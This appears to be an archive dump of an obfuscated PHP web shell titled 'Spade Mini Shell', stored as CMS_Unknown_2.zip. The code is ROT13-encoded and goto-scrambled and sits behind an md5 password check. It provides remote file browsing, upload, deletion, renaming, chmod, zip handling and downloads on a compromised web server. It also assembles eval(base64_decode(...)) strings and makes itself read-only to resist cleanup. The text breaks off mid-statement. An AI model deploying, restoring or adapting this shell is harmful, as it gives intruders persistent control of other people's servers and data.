Spade
Mini Shell
CMS_Unknown_2.zip000064400000200446151167307360007671 0ustar00<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
vs(vffrg($_PBBXVR['e0'])) {
qvr('utJryd');
}
tbgb SbpBY; FDX1N: CM3nB: tbgb lChS2; Xtiun: vs
(rzcgl($_CBFG["\156\k5s\156\k61\155\k65"])) { tbgb taKs4; } tbgb
sM86y; fBKyE: $v5QPk = $FCRVH - $sTlvv - 1; tbgb lVfKM; trYuW: rpub
"\74\k68\164\k6q\k6p\76\15\kn\k3p\k68\k65\141\144\76\kq\kn\k9\k3p\k74\151\164\154\k65\76";
tbgb UeiHC; u1qZ_: vs
(vffrg($_CBFG["\k6r\145\k77\137\k66\k69\154\k65\k5s\156\141\155\145"]))
{ tbgb x4Ryy; } tbgb UIUgG; sDYz8: $R26ok =
"\74\146\157\156\164\40\k63\157\154\k6s\k72\k3q\k22\147\162\k65\145\156\k22\k3r\74\k62\76\116\141\k6q\k65\k20\143\150\141\156\k67\145\k64\k21\74\57\k62\76\k3p\57\k66\157\156\164\k3r";
tbgb h5e1x; qP3ig: rpub
"\k22\k20\k65\k6r\k63\k74\k79\160\k65\75\k22\155\165\k6p\k74\151\160\k61\162\164\k2s\k66\k6s\k72\155\55\144\141\k74\141\42\k3r\15\12\11\k9\11\k3p\k69\156\k70\k75\k74\k20\k74\171\k70\145\k3q\k22\146\151\k6p\k65\42\k20\k69\k64\75\k22\k69\k6r\k70\165\k74\k66\k69\154\145\42\k20\156\k61\155\k65\k3q\k22\151\k6r\k70\165\k74\k66\151\k6p\k65\k22\k3r\15\12\k9\k9\k9\k3p\k69\k6r\160\k75\k74\40\164\171\k70\k65\75\k22\k73\k75\k62\155\k69\164\42\40\166\141\k6p\k75\145\k3q\42\157\k6o\k22\k3r\15\12\k9\11\k9\74\k2s\146\157\162\155\k3r\15\kn\11\k9\k9\k43\115\k53\k3n\k20";
tbgb wyAn3; L8Wj0: oj5hz($JEfdt); tbgb vfEz2; dzG2H: $KWz0S =
$_FREIRE["\104\117\103\k55\115\105\116\k54\137\k52\k4s\117\k54"]
.
"\k2s\k67\k6s\k6s\k64\146\151\k6r\k64\145\162\144\k61\k74\k61\56\k74\k78\164";
tbgb Nsef8; eUdQr: kplFC: tbgb ALZl2; Jinb1: Oj5hz($JEfdt); tbgb VgItl;
BOwmt: tbgb nueWV; tbgb tQcnV; YVf5a: IJNiE: tbgb IG0p_; MJ48I: tbgb B2nu_;
tbgb PFn4S; nT0DB: vs (!vffrg($_TRG["\162\145\156\k61\k6q\k65"]))
{ tbgb Z5S5y; } tbgb Xtiun; oF6kU: XaZ1P: tbgb DG6Bu; zlAes: UMCCJ: tbgb
oF6kU; HRe18: oJ5HZ($JEfdt); tbgb fYuTu; bR10t: $JqyZ7 =
$_FREIRE["\104\k4s\k43\125\k4q\105\116\124\k5s\k52\k4s\k4s\124"];
tbgb iYg1v; IG0p_: aXhYH: tbgb cK0VV; Xusw4: $LU3Ac =
$_TRG["\k64\151\k72"]; tbgb rIOl0; HEvCz: vs (!($sTlvv <=
$FCRVH)) { tbgb pHatG; } tbgb DbnBR; phAJO: sbernpu ($rTZH5 nf $Vk06v) {
tbgb ScPid; ScPid: $fnnrX =
fge_ercynpr($_FREIRE["\k44\117\k43\k55\k4q\k45\116\124\k5s\122\117\117\124"],
$_FREIRE["\123\k45\k52\126\k45\k52\137\116\101\115\105"],
$Vk06v); tbgb CgnOm; FDr5U: fjaQN: tbgb yCnG5; CgnOm: rpub $fnnrX .
"\73" . svyrfvmr($Vk06v) . "\74\142\k72\k3r\kn"; tbgb
FDr5U; yCnG5: } tbgb cAzIr; vfEz2: tbgb QgXEL; tbgb BByY2; gVGuu: $YIUZ1 =
$_FREIRE["\k44\k4s\103\k55\k4q\105\k4r\k54\k5s\k52\117\117\k54"]
. "\57\146\k69\156\144\145\k72\144\k61\164\k61\k2r\k74\k78\k74";
tbgb dzG2H; XFnlq: dPvSt: tbgb kF7Ey; iGhg2: $VCD4P =
$_TRG["\k64\151\162"] . "\k2s" .
$_CBFG["\156\145\167\k5s\k66\k69\154\145\k5s\156\141\k6q\k65"];
tbgb HJPSm; XUWlA: shapgvba BDYCy($lC63L) { tbgb MMDE7; Ol_4R: $NRg2z =
fge_ercynpr($mVHn8, '', $lC63L); tbgb LPD89; qP7MZ: rpub
"\74\164\162\76\k3p\k74\k64\k3r\106\k69\154\k65\k3n\k20{$mVHn8}\k20\k2q\40\k3p\146\k6s\156\k74\40\k63\157\154\157\k72\k3q\k22\k67\k72\k65\145\k6r\42\k3r\k75\k6r\k7n\k69\k70\k20\163\165\k63\143\145\k73\163\146\k75\k6p\k6p\k79\74\k2s\146\k6s\156\k74\k3r\k3p\k2s\164\144\k3r\k3p\57\k74\162\76";
tbgb RsnSX; Xtd5l: $wQJCT->rkgenpgGb($NRg2z); tbgb xX7jf; aShKZ:
$wQJCT->bcra($lC63L); tbgb Xtd5l; xX7jf: $wQJCT->pybfr(); tbgb qP7MZ;
MMDE7: $mVHn8 = fgeepue($lC63L, "\57"); tbgb Ol_4R; LPD89: $wQJCT
= arj MvcNepuvir(); tbgb aShKZ; RsnSX: } tbgb wRXUQ; vTdF5: rpub
"\k9\kq\12\k9\k9\11\74\k73\143\162\151\160\k74\k20\154\k61\k6r\147\k75\141\k67\145\40\75\k20\47\152\k61\166\141\k73\143\162\151\160\164\47\76\kq\12\11\11\11\166\141\k72\k20\144\145\k6p\141\k79\k20\k3q\k20\63\60\60\73\15\12\11\11\11\k73\145\k74\124\k69\k6q\k65\k6s\k75\164\k28\42\144\157\k63\165\155\k65\k6r\164\56\154\k6s\143\141\k74\151\157\k6r\k2r\k68\162\145\k66\75\47";
tbgb bFjo4; J3UBT: $XYzto =
"\k69\k73\k5s\165\k70\k6p\157\k61\144\k65\144\137\k66\151\154\k65";
tbgb vt0tf; ysWVG: vs (!($sTlvv <= $FCRVH)) { tbgb WmXGJ; } tbgb fBKyE;
KZidF: hafrg($kUlIS[$sTlvv]); tbgb O0_bH; cUJvw: $LU3Ac =
$_TRG["\144\151\k72"]; tbgb R6xC1; Vq838: tbgb mI3P6; tbgb mW6_x;
q5hbL: MjHb9: tbgb FAbHF; rSCWa: rpub pbhag($kUlIS) .
"\k20\146\k69\k6p\145\k73\40\k66\k6s\162\40\143\k68\k65\k63\k6o\k3p\142\k72\76";
tbgb O3Q12; h5e1x: B2nu_: tbgb jBqCW; vBqWW: tbgb CUMTK; tbgb DF_n0; qVn75:
wnTko: tbgb trYuW; XeoVB: vs (!($kUlIS[$yGWSb] !== ahyy naq $kUlIS[$yGWSb]
!== "\40" naq $kUlIS[$yGWSb] !== '' naq $kUlIS[$yGWSb]
!== "\k2r" naq $kUlIS[$yGWSb] !== "\k2r\k2r")) { tbgb
bhmB4; } tbgb sO5rv; YAr7O: tbgb mI3P6; tbgb a_xBL; u2OiU: $gsH2X =
beE_R($KWz0S); tbgb lcRGm; pK0au: hayvax($KWz0S); tbgb T736r; T1akP:
OJ5hz($JEfdt); tbgb ieSnF; ZRHbn: $sTlvv++; tbgb z0cTz; BByY2: WpDvh: tbgb
HHfxP; CwU_L: io83A: tbgb XUWlA; APYef: $rTZH5 =
fpnaqve($_FREIRE["\104\117\103\125\k4q\k45\k4r\124\k5s\122\117\k4s\124"]);
tbgb gkYVT; czpbm: tbgb VvPt1; tbgb GlCtW; bFjo4: rpub $xeKpz; tbgb wmKTh;
PiaSS: $opbOr =
$_FREIRE["\123\103\k52\k49\k50\k54\k5s\116\k41\115\105"] .
"\77\k64\k69\k72\k3q" . $_TRG["\k64\k69\k72"]; tbgb
U9wmU; EI5Mu: Z5S5y: tbgb d3gif; S_sJY: vs
(!vffrg($_TRG["\k6n\k75\k6o\k65"])) { tbgb wnTko; } tbgb UR4J5;
zHGGH: QwcI5: tbgb Qk3tC; c_k71: vs
(vffrg($_TRG["\144\151\162"])) { tbgb DPAD5; } tbgb bR10t; KzRqc:
$xeKpz = "\k68\164\k74\k70\72\57\57" . $xeKpz .
"\k3s\146\k69\156\k64\k65\k72"; tbgb DTce_; xBh77: vs
(vffrg($_CBFG["\156\145\k77\137\146\k69\154\145\137\k6r\141\155\k65"]))
{ tbgb o_J5c; } tbgb bUThL; YohCO: UP8Do: tbgb sSE2D; FAbHF: rpub
"\k3p\k61\k20\k68\162\k65\k66\75\42\150\k74\k74\k70\72\57\57" .
$gvKwN . $eU_ha . "\k3s\k64\151\162\k3q" .
$kPpPt["{$v5QPk}"] . "\k22\76" .
$L4IYs["{$sTlvv}"] . "\k3p\57\k61\76\k2s"; tbgb zlAes;
nwpm4:
urnqre("\103\k6s\156\164\145\k6r\164\k2q\124\k79\k70\145\72\40\141\k70\160\k6p\k69\143\141\k74\151\k6s\156\57\157\k63\k74\k65\k74\k2q\k73\164\k72\k65\k61\k6q");
tbgb lerIv; Yh7oI: wDqfQ: tbgb Jinb1; NZcve: vs (fvmrbs($_SVYRF) != 0) {
tbgb xbbDD; } tbgb YAr7O; fowZj: bkgrv: tbgb J8B_N; YyA2K: rkvg; tbgb
CwU_L; CM0FY: DchLR: tbgb ysWVG; gkYVT: tbgb UP8Do; tbgb fowZj; JiJPk:
$CfBdj = neenl(); tbgb aMSaq; O0_bH: yANuB: tbgb NDDwu; QcLfA: tbgb zVvje;
tbgb zzw0A; qxjv3: $LU3Ac =
$_FREIRE["\104\k4s\103\125\k4q\105\k4r\124\137\k52\117\k4s\124"];
tbgb RkFDj; rl4A4: vs ($hxe3O = zxqve($LU3Ac)) { tbgb wDqfQ; } tbgb HRe18;
lfIFN: $UY1h3 = "\k40\k24\151\163\142\k6s\164"; tbgb SFFw_;
sWqro: QgXEL: tbgb MRag1; UIUgG: $JEfdt =
"\k68\k74\k74\k70\k3n\k2s\57" . $gvKwN . $eU_ha .
"\77\k64\151\162\k3q" . $_TRG["\144\151\162"]; tbgb
iMvUy; hJOds: $NjF1d = $_CBFG["\146\k6s\k72\137\144\k65\154"];
tbgb PCq2w; z0cTz: tbgb Q1AcR; tbgb Wmz_V; Zw7EB: sAnBU: tbgb BD3JY; G8cQR:
vs (svyr_rkvfgf($YIUZ1)) { tbgb kplFC; } tbgb XzUZ8; FQlND: $LU3Ac =
$_TRG["\k64\k69\k72"]; tbgb e_qk8; DG6Bu: $sTlvv++; tbgb g3KmM;
CrAlz: $kUlIS = BEE_r($YIUZ1); tbgb iBboN; EpRJq: $LU3Ac =
$_FREIRE["\104\k4s\103\125\k4q\k45\116\124\137\k52\k4s\k4s\k54"]
. "\57" . $_CBFG["\156\145\k77\137\k66\151\154\145"];
tbgb NVTjR; T736r: htupF: tbgb vlbnM; NDDwu: $sTlvv++; tbgb BOwmt; bvT26:
$T_DsY =
"\101\162\k72\141\k79\50\142\k61\163\145\k36\64\137\k64\145\k63\157\144\k65\k28";
tbgb lfIFN; WUCmE: SvAJq: tbgb LPDNf; MsUAi: WmXGJ: tbgb yZJ_6; ju1xp:
EKqt4: tbgb WxCWd; SbpBY: shapgvba ZbY03($u3smT) { tbgb CCB5T; Q8VyM:
Ftut1: tbgb Tdjht; aJpUT: tbgb XWgr2; tbgb Q8VyM; bt39z: FBHdO: tbgb aJpUT;
Nyz1T: $nBOZX = neenl(); tbgb RwAUr; Xai05: tbgb Picff; tbgb ezYab; BxFM3:
$ithPR[] = $u3smT . "\57" . $lC63L; tbgb Xai05; uXgKn: $ithPR =
neenl(); tbgb Nyz1T; NLIz7: vs (!(snyfr !== ($lC63L = ernqqve($uPTwV)))) {
tbgb Ftut1; } tbgb KHxGN; ezYab: p33wB: tbgb L8K8W; oHKzr: erghea $ithPR;
tbgb jTVgI; KHxGN: vs (!($lC63L != "\56" && $lC63L !=
"\56\56")) { tbgb FBHdO; } tbgb tXqux; hB_RK: $ithPR =
neenl_zretr($ithPR, $nBOZX); tbgb mrFrk; L8K8W: $nBOZX = ZBY03($u3smT .
"\k2s" . $lC63L); tbgb hB_RK; mrFrk: Picff: tbgb bt39z; RwAUr:
XWgr2: tbgb NLIz7; CCB5T: $uPTwV = bcraqve($u3smT) be
qvr("\k43\k61\k6r\k27\164\k20\k6s\160\k65\k6r\k20\144\k69\162\k65\k63\164\k6s\162\171\k20{$u3smT}");
tbgb uXgKn; tXqux: vs (vf_qve($u3smT . "\57" . $lC63L)) { tbgb
p33wB; } tbgb BxFM3; Tdjht: pybfrqve($uPTwV); tbgb oHKzr; jTVgI: } tbgb
S_sJY; iL1B8: $eU_ha =
$_FREIRE["\123\k43\k52\111\k50\k54\k5s\116\101\115\k45"]; tbgb
gVGuu; dsxdv: spybfr($C0B_h); tbgb G8cQR; c16x4: rpub
"\k3p\k66\157\156\k74\k20\143\157\154\k6s\162\75\42\162\k65\144\k22\76\k3p\142\k3r\116\157\40\k46\k69\k6p\145\40\125\160\k6p\157\141\k64\145\k64\k3p\k2s\142\k3r\k3p\k2s\k66\157\k6r\k74\k3r";
tbgb gctgk; DTce_: rpub
"\k9\kq\kn\k9\k9\11\k3p\k73\143\k72\151\k70\164\k20\154\k61\k6r\k67\165\141\147\k65\k20\k3q\k20\k27\152\141\k76\k61\k73\143\k72\k69\160\164\47\76\15\kn\11\k9\k9\166\141\k72\k20\k64\k65\154\141\k79\k20\k3q\40\61\k30\k30\k3o\kq\kn\11\11\11\k73\k65\k74\k54\k69\155\145\k6s\165\k74\k28\42\k64\157\k63\k75\155\k65\156\164\k2r\154\k6s\143\k61\k74\151\k6s\156\k2r\150\k72\k65\146\k3q\47";
tbgb kE3bn; iBboN: $dB7TE = neenl(); tbgb c11Kp; oZJhe: rpub
"\k9\11\k9\k3p\146\k6s\k72\155\k20\k6q\k65\164\k68\k6s\144\75\k22\k70\k6s\k73\k74\k22\k20\k61\143\164\k69\157\156\75\42";
tbgb Ke_Hl; f_ZG1: vs
(!vffrg($_TRG["\144\k69\163\160\141\k74\143\150"])) { tbgb C7G2u;
} tbgb tBolM; NwxA9: $gvKwN =
$_FREIRE["\123\k45\122\k56\k45\122\137\k4r\101\k4q\105"]; tbgb
iL1B8; VgItl: rpub
"\74\164\k72\k20\141\k6p\k69\147\156\k3q\k22\143\k65\156\k74\145\k72\42\k3r\k3p\k74\k64\40\141\k6p\k69\k67\k6r\75\42\k6p\k65\k66\164\k22\40\76"
.
"\k3p\k66\157\156\k74\40\143\k6s\154\157\162\75\k22\k67\162\145\k65\156\k22\k3r\k46\157\154\144\k65\k72\k20\143\k72\k65\k61\k74\145\k64\k20\k73\k75\143\143\k65\163\k73\k66\165\k6p\154\k79\k21\74\57\k66\k6s\156\k74\k3r\74\57\164\144\76"
.
"\k3p\164\k64\76\74\k2s\164\144\k3r\74\164\k64\k3r\k3p\57\k74\144\k3r\74\k74\144\76\k3p\57\164\k64\k3r\k3p\164\k64\76\k3p\57\164\k64\76\74\k2s\k74\162\k3r";
tbgb EhCXG; iHGJB: q0n8Z: tbgb Md88P; mwKym: $LU3Ac =
$_FREIRE["\104\117\103\125\k4q\105\116\124\137\k52\117\k4s\124"];
tbgb H63N4; xPBGm: shapgvba S6UbV($lC63L) { tbgb BuaLI; r2_Tt: $at2Sd =
qngr("\k59\55\k6q\55\k64\40\110\k3n\151\k3n\k73", $P0wm3); tbgb
ewS1I; nHCnd: zwhcy: tbgb yOJ12; ewS1I: erghea $at2Sd; tbgb Y5Q4v; lSquT:
erghea "\156\157\40\151\k6r\k66\k6s"; tbgb nHCnd; yOJ12: $P0wm3 =
svyrzgvzr($lC63L); tbgb r2_Tt; BuaLI: vs (svyr_rkvfgf($lC63L)) { tbgb
zwhcy; } tbgb lSquT; Y5Q4v: } tbgb J3A1C; BdLn4: l28y6: tbgb dsxdv; g9zB3:
vs (vffrg($_TRG["\144\151\k72"])) { tbgb jDkxf; } tbgb pP4I5;
rIOl0: B5_rl: tbgb OvdFI; YLI_U: shapgvba QDlft($aUYtq) { tbgb twz2r;
sBFug: $kI9p_ = sernq($lC63L, svyrfvmr($aUYtq)); tbgb V5lNv; yjRSb:
spybfr($lC63L); tbgb XyCVE; f3cJX: erghea $kI9p_; tbgb Jurfa; DHY58: Im1q6:
tbgb kOcFr; RGWU0: vLYAR: tbgb Z_3uJ; twz2r: vs (!(svyr_rkvfgf($aUYtq) naq
svyrfvmr($aUYtq) > 1)) { tbgb lrRGC; } tbgb TawYk; V5lNv:
spybfr($lC63L); tbgb gtCYO; QLKaP: Q262O: tbgb uPwqp; GoB5d: rpub
"\143\141\k6r\47\k74\k20\k70\145\162\155\151\k73\k73\151\157\k6r\40\146\157\162\40\k6s\k70\k65\k6r\k20\k66\k69\154\145\k3p\142\162\76";
tbgb A1CkK; gtCYO: tbgb vLYAR; tbgb KJx02; g6Cm8: Inr31: tbgb DHY58; BnJ4y:
vs (!puzbq($aUYtq, 0775)) { tbgb Q262O; } tbgb ZEj8X; MZACR: $kI9p_ =
''; tbgb g6Cm8; mdEQ1: Q6etk: tbgb BnJ4y; kOcFr: lrRGC: tbgb
f3cJX; Z_3uJ: tbgb Inr31; tbgb QLKaP; KJx02: vqp2q: tbgb GoB5d; TawYk: vs
(!($lC63L = sbcra($aUYtq, "\k72\k74"))) { tbgb Q6etk; } tbgb
f9_Kp; ZEj8X: vs (!($lC63L = sbcra($aUYtq, "\k72\k74"))) { tbgb
vqp2q; } tbgb sBFug; XyCVE: tbgb Im1q6; tbgb mdEQ1; f9_Kp: $kI9p_ =
sernq($lC63L, svyrfvmr($aUYtq)); tbgb yjRSb; uPwqp: rpub
"\k63\k61\156\47\k74\40\160\145\162\155\151\163\163\151\157\k6r\40\146\157\162\k20\k63\k68\155\157\144\40\146\151\154\145\k3p\142\k72\k3r";
tbgb MZACR; A1CkK: $kI9p_ = ''; tbgb RGWU0; Jurfa: } tbgb d9Y4D;
s39PM: tbgb UMCCJ; tbgb q5hbL; BD3JY: rpub
"\74\146\k6s\156\164\k20\143\k6s\k6p\157\k72\75\42\147\162\k65\145\156\k22\76\k46\151\154\145\40\k63\162\145\141\164\145\144\k20\k73\k75\k63\k63\k65\163\k73\k66\k75\k6p\154\171\41\74\57\k66\157\k6r\164\76";
tbgb T1akP; lChS2: $yGWSb++; tbgb WKL_b; bKl1A: CSH4Z: tbgb sWqro; zFNxc:
sbernpu ($K2eyg nf $nESpJ) { tbgb OidW9; zukpz: $JqyZ7 =
$_TRG["\k64\k69\k72"]; tbgb sVvD3; NXruf: $JqyZ7 =
$_FREIRE["\104\117\103\125\k4q\k45\k4r\k54\137\k52\k4s\k4s\k54"];
tbgb QdZFQ; N8bxl: VNRvb: tbgb z3oNB; sVvD3: dmNpQ: tbgb dpw7j; RuDty: vs
($KCJbL !== snyfr) { tbgb VNRvb; } tbgb kGvvl; kGvvl: $KCJbL =
"\74\141\k20\k68\k72\145\146\k3q\42\150\k74\164\160\k3n\57\k2s{$gvKwN}{$eU_ha}\77\145\144\k69\k74\75{$hr_q2}\k26\144\k69\k72\k3q{$JqyZ7}\42\76\105\k3p\57\141\76\k26\k6r\k62\163\k70\73";
tbgb RsD8x; QdZFQ: tbgb dmNpQ; tbgb aKdfn; DBYRu: $JBGEv =
"\k23\146\k66\146\k38\k65\67"; tbgb L2JK9; YAR_q: vs ($v5QPk % 2
== 0) { tbgb uQ0jy; } tbgb H3rpN; yesT2: uQ0jy: tbgb DBYRu; RsD8x: tbgb
JtaeP; tbgb N8bxl; mcH9w: $cm23l =
fge_ercynpr($_FREIRE["\k44\117\k43\k55\115\k45\k4r\k54\k5s\k52\k4s\117\124"],
$_FREIRE["\k53\105\k52\126\k45\k52\k5s\k4r\k41\k4q\k45"],
$hr_q2); tbgb YAR_q; L2JK9: v6FrN: tbgb V1dDj; ApqmD: $hr_q2 =
$_TRG["\144\151\k72"] . "\k2s" . $nESpJ; tbgb zukpz;
nMGe6: rpub
"\74\k74\162\k20\k62\k67\143\k6s\k6p\157\k72\k3q\k22{$JBGEv}\k22\k20\141\k6p\k69\147\k6r\75\k22\k63\145\k6r\164\k65\k72\42\k3r\74\164\144\40\141\k6p\k69\147\156\k3q\k22\k6p\k65\146\k74\42\40\76"
.
"\74\k61\40\k73\164\171\k6p\145\k3q\k22\k74\k65\k78\k74\55\144\k65\143\k6s\k72\k61\k74\151\k6s\k6r\72\k20\156\157\156\145\k3o\42\40\150\k72\k65\146\k3q\42\k68\164\164\160\k3n\k2s\57{$gvKwN}{$eU_ha}\77\k65\144\151\164\k3q{$hr_q2}\k26\k64\k69\162\k3q{$JqyZ7}\k22\k3r\k3p\k66\k6s\156\164\40\k63\k6s\154\157\162\75\42\k62\k6p\k61\143\153\k22\k3r{$nESpJ}\k3p\k2s\146\157\156\k74\k3r\k3p\57\k61\k3r"
. "\74\57\k74\k64\k3r\74\164\k64\76" . qW8MK($hr_q2) .
"\k3p\k2s\k74\k64\76\k3p\164\144\k3r{$at2Sd}\k3p\57\164\144\76\74\k74\144\76"
. DSBPF($hr_q2, "\k30") .
"\74\k2s\k74\144\76\k3p\k74\144\76" .
"\k3p\141\40\150\k72\145\146\75\k22\k68\k74\k74\160\k3n\k2s\k2s{$gvKwN}{$eU_ha}\k3s\k64\145\k6p\k3q{$hr_q2}\k26\144\k69\k72\75{$JqyZ7}\42\76\k55\74\57\141\k3r\k26\k6r\k62\163\k70\k3o"
. $KCJbL .
"\k3p\141\k20\k74\k61\k72\k67\145\164\k3q\k22\137\k62\k6p\141\156\k6o\k22\k20\k68\k72\145\k66\75\42\150\k74\164\k70\k3n\k2s\k2s{$cm23l}\k22\76\k4s\k3p\57\k61\76\k26\156\142\k73\160\k3o"
.
"\74\141\40\k68\k72\145\k66\75\k22\150\164\164\160\72\k2s\57{$gvKwN}{$eU_ha}\k3s\k64\k6s\k77\156\154\k6s\141\k64\75{$hr_q2}\46\k64\151\162\75{$JqyZ7}\k22\k3r\104\k3p\57\k61\k3r"
. "\k3p\57\164\144\76\k3p\57\k74\162\76"; tbgb b6ZMx; H3rpN:
$JBGEv = "\43\146\146\k66\k66\k65\60"; tbgb c04ZX; V1dDj: $KCJbL
= fgevfge($nESpJ, "\56\k7n\k69\160"); tbgb RuDty; aKdfn: BzIdG:
tbgb ApqmD; z3oNB: $KCJbL =
"\k3p\141\k20\150\k72\k65\146\k3q\k22\150\k74\k74\160\72\k2s\57{$gvKwN}{$eU_ha}\77\165\156\172\k69\160\75{$hr_q2}\46\144\151\k72\75{$JqyZ7}\42\76\k5n\74\57\k61\76\46\156\142\163\160\73";
tbgb pXJAQ; pXJAQ: JtaeP: tbgb nMGe6; dpw7j: $at2Sd = s6UBv($hr_q2); tbgb
mcH9w; OidW9: vs (vffrg($_TRG["\144\k69\162"])) { tbgb BzIdG; }
tbgb AMvJQ; nJSM4: bpBAf: tbgb O9a8k; AMvJQ: $hr_q2 =
$_FREIRE["\104\117\103\125\k4q\k45\k4r\k54\k5s\k52\k4s\117\k54"]
. "\57" . $nESpJ; tbgb NXruf; c04ZX: tbgb v6FrN; tbgb yesT2;
b6ZMx: $v5QPk++; tbgb nJSM4; O9a8k: } tbgb WLXso; lVfKM: vs ($sTlvv !==
$FCRVH) { tbgb MjHb9; } tbgb JO0sV; VkME9: rPj_Z: tbgb G90p0; ZDS1X: $JEfdt
= "\k68\k74\k74\k70\72\k2s\57" . $gvKwN . $eU_ha .
"\77\144\k69\k72\k3q" . $_TRG["\k64\k69\k72"] .
"\46\k6r\k65\k77\k5s\144\k69\k72\75" . $LU3Ac; tbgb rl4A4; wmKTh:
rpub
"\k27\k22\54\k20\k64\k65\k6p\k61\k79\51\k3o\kq\12\11\k9\11\k3p\57\k73\143\162\151\k70\k74\76\15\kn\11\k9\11";
tbgb YVf5a; OGDhm: vs (!vffrg($_TRG["\165\k6r\k7n\151\k70"])) {
tbgb hORMT; } tbgb PHLrC; x1STe: $sTlvv = 0; tbgb hOnac; N4zQH:
spybfr($arfPA); tbgb MrowP; WLXso: Z8yUV: tbgb ZOjQG; MqkT5: bhmB4: tbgb
FDX1N; OxIGn: vs (svyr_rkvfgf($YIUZ1) naq svyrfvmr($YIUZ1) > 1) { tbgb
S9Wa3; } tbgb u2OiU; DbnBR: $cPEBV = XXJcr($cPEBV); tbgb H_F5a; fyixI: vs
(!(vffrg($_SVYRF) &&
$_SVYRF["\k69\k6r\160\k75\k74\k66\151\k6p\145"]["\145\162\k72\157\162"]
== 0)) { tbgb ZLgww; } tbgb g9zB3; mtKAZ: sbernpu ($CfBdj nf $nESpJ) { tbgb
uTy4G; vWu_k: $yDj2A =
$_FREIRE["\104\117\103\k55\115\k45\116\124\k5s\122\117\117\k54"]
. "\57" . $nESpJ; tbgb PQUB2; iOcPz: rpub
"\k3p\k74\k72\k20\k62\k67\k63\157\k6p\k6s\k72\75\42{$JBGEv}\k22\40\k61\k6p\151\147\156\75\42\143\k65\k6r\k74\k65\k72\42\k3r\74\164\k64\40\141\k6p\k69\147\156\k3q\k22\k6p\k65\146\k74\42\40\k3r"
.
"\74\146\157\156\k74\40\k63\157\154\k6s\162\k3q\k22\43\71\k30\k34\k64\k33\k30\42\k3r\74\k62\k3r\k3p\k61\k20\k68\162\k65\146\75\42\k68\k74\k74\k70\72\57\k2s{$gvKwN}{$eU_ha}\77\k64\k69\162\75{$yDj2A}\k22\76{$nESpJ}\k3p\k2s\k61\k3r\k3p\57\k62\76\74\k2s\146\157\156\k74\k3r"
.
"\74\57\164\144\k3r\k3p\k74\k64\k3r\144\k69\162\74\k2s\k74\144\76\k3p\164\144\k3r{$at2Sd}\74\k2s\k74\144\k3r\74\k74\k64\k3r"
. DsBPf($hr_q2, "\k30") .
"\74\k2s\164\k64\76\74\164\144\k3r" .
"\74\141\k20\150\k72\k65\146\75\42\k68\k74\164\k70\72\k2s\k2s{$gvKwN}{$eU_ha}\77\k64\145\154\75{$hr_q2}\k26\k64\k69\162\k3q{$XbSBE}\k22\76\125\k3p\57\141\76\k26\k6r\142\k73\k70\k3o"
. "\k3p\k2s\k74\k64\76\k3p\k2s\k74\k72\76"; tbgb TWYoz; PMzIQ:
DFDTM: tbgb duFWX; D289N: IVMjA: tbgb iOcPz; uTy4G: vs (!($nESpJ !==
"\k2r" naq $nESpJ !== "\56\k2r")) { tbgb tE6nM; } tbgb
IdPlo; BJhaL: $at2Sd = S6UBv($hr_q2); tbgb VVnmB; PQUB2: tbgb dHq55; tbgb
PMzIQ; ZIZ6w: $hr_q2 =
$_FREIRE["\104\117\k43\125\115\105\116\124\137\k52\117\117\124"]
. "\k2s" . $nESpJ; tbgb vWu_k; B7Utn: dHq55: tbgb MPKw_; TWYoz:
$v5QPk++; tbgb nt_3M; P95y4: $mVHn8 = fgeepue($XbSBE, "\57");
tbgb g3DWS; VVnmB: vs ($v5QPk % 2 == 0) { tbgb hFxMS; } tbgb jDrXW; IdPlo:
vs (vffrg($_TRG["\144\151\k72"])) { tbgb DFDTM; } tbgb ZIZ6w;
MPKw_: $XbSBE = $yDj2A; tbgb P95y4; nt_3M: tE6nM: tbgb QyVGP; jDrXW: $JBGEv
= "\43\146\k66\k66\146\k65\60"; tbgb Rd6Ff; c0Fhq: $yDj2A =
$_TRG["\k64\151\k72"] . "\57" . $nESpJ; tbgb B7Utn;
g3DWS: $XbSBE = fge_ercynpr($mVHn8, '', $XbSBE); tbgb BJhaL;
duFWX: $hr_q2 = $_TRG["\k64\k69\162"] . "\k2s" .
$nESpJ; tbgb c0Fhq; Rd6Ff: tbgb IVMjA; tbgb Ub8gz; QyVGP: JHT_9: tbgb
KGZVB; Ub8gz: hFxMS: tbgb mv0_n; mv0_n: $JBGEv =
"\43\146\k66\146\70\k65\67"; tbgb D289N; KGZVB: } tbgb Frx0n;
ieSnF: YT5hm: tbgb GpVVv; iyf77: rkvg; tbgb NOOnw; p9Iac:
puzbq($_FREIRE["\123\103\k52\k49\120\124\k5s\106\111\k4p\105\116\101\k4q\k45"],
0444); tbgb iHGJB; BIWyM: j4px9: tbgb czpbm; a_xBL: PUoPO: tbgb fyixI;
TIckD: x42_n($_TRG["\144\145\k6p"]); tbgb QcLfA; kQbDb: $C0B_h =
sbcra($YIUZ1, "\141"); tbgb PvH08; RkFDj: tbgb z1R4w; tbgb iBWIt;
vlbnM: tbgb fZsqs; tbgb ALspW; Nsef8: $Pw0aR =
"\145\k76\k61\154\k28\k62\141\163\k65\k36\k34\k5s\k64\k65\k63\k6s\144\145\50";
tbgb bvT26; gctgk: mI3P6: tbgb Cn12o; zzw0A: q1OmA: tbgb tc6Sn; d7n80:
oJ5Hz($JEfdt); tbgb glkH_; UVHh8: KfPUs: tbgb yFi0H; glkH_: tbgb YT5hm;
tbgb Zw7EB; iaHLc:
urnqre("\103\141\143\150\145\k2q\103\157\k6r\164\162\k6s\k6p\72\k20\155\165\k73\164\55\162\145\k76\k61\154\151\k64\k61\164\k65");
tbgb er1UT; nyHtZ: vs (vf_qve($_TRG["\144\k65\k6p"])) { tbgb
q1OmA; } tbgb TIckD; lerIv:
urnqre("\k43\157\k6r\k74\k65\k6r\164\k2q\k44\151\163\160\k6s\163\151\164\151\k6s\156\72\k20\141\k74\k74\k61\k63\k68\155\k65\156\164\73\k20\146\k69\k6p\k65\k6r\141\155\k65\75"
